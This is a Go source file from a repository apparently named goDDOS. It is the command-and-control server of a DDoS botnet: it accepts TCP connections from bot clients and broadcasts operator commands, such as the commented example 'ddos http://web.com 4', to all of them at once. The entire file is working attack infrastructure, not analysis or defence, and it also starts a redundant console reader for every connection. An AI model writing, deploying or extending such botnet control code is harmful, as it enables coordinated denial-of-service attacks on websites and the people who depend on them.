goDDOS/v1/server/main.go
v1/server/main.goRaw
1package main
2
3import (
4 "bufio"
5 "fmt"
6 "net"
7 "os"
8 "strconv"
9 "strings"
10)
11
12const (
13 CONN_HOST = "localhost"
14 CONN_PORT = "3333"
15 CONN_TYPE = "tcp"
16)
17
18var allClients map[*Client]int
19
20type Client struct {
21 outgoing chan string
22 reader *bufio.Reader
23 writer *bufio.Writer
24 conn net.Conn
25 connection *Client
26}
27
28func (client *Client) Read() {
29 for {
30 line, err := client.reader.ReadString('\n')
31 if err == nil {
32 fmt.Println("")
33 fmt.Println(line)
34 fmt.Print("enter new command: ")
35 } else {
36 break
37 }
38
39 }
40
41 client.conn.Close()
42 delete(allClients, client)
43 if client.connection != nil {
44 client.connection.connection = nil
45 }
46 client = nil
47}
48
49func (client *Client) Write() {
50 for data := range client.outgoing {
51 client.writer.WriteString(data)
52 client.writer.Flush()
53 }
54}
55func (client *Client) Listen() {
56 go client.Read()
57 go client.Write()
58}
59func NewClient(connection net.Conn) *Client {
60 writer := bufio.NewWriter(connection)
61 reader := bufio.NewReader(connection)
62
63 client := &Client{
64 // incoming: make(chan string),
65 outgoing: make(chan string),
66 conn: connection,
67 reader: reader,
68 writer: writer,
69 }
70 client.Listen()
71
72 return client
73}
74
75func watchConsoleInput(conn net.Conn) { //example: ddos http://web.com 4
76 newcommand := bufio.NewReader(os.Stdin)
77 for {
78 text, _ := newcommand.ReadString('\n')
79 text = strings.TrimSpace(text)
80 // send newcommand back to client
81 if text != "" {
82 fmt.Println("console input command: " + text)
83 fmt.Println("sending command to " + strconv.Itoa(len(allClients)) + " connected clients")
84 for clientList, _ := range allClients {
85 //if clientList.connection == nil {
86 clientList.conn.Write([]byte(text + "\n"))
87 //}
88 }
89 fmt.Print("enter new command: ")
90 }
91 }
92}
93func watchClientConnectionInput(client *Client) {
94 for clientList, _ := range allClients {
95 if clientList.connection == nil {
96 client.connection = clientList
97 clientList.connection = client
98 fmt.Println("Connected")
99 }
100
101 }
102
103 allClients[client] = 1
104 fmt.Println(strconv.Itoa(len(allClients)) + " connected clients")
105 fmt.Print("command to send to the clients: ")
106}
107
108func main() {
109 allClients = make(map[*Client]int)
110 listener, err := net.Listen(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
111 if err != nil {
112 fmt.Println("Error listening:", err.Error())
113 os.Exit(1)
114 }
115 fmt.Println("Listening on " + CONN_HOST + ":" + CONN_PORT)
116
117 for {
118 conn, err := listener.Accept()
119 if err != nil {
120 fmt.Println(err.Error())
121 }
122 client := NewClient(conn)
123 go watchClientConnectionInput(client)
124 go watchConsoleInput(client.conn)
125 }
126}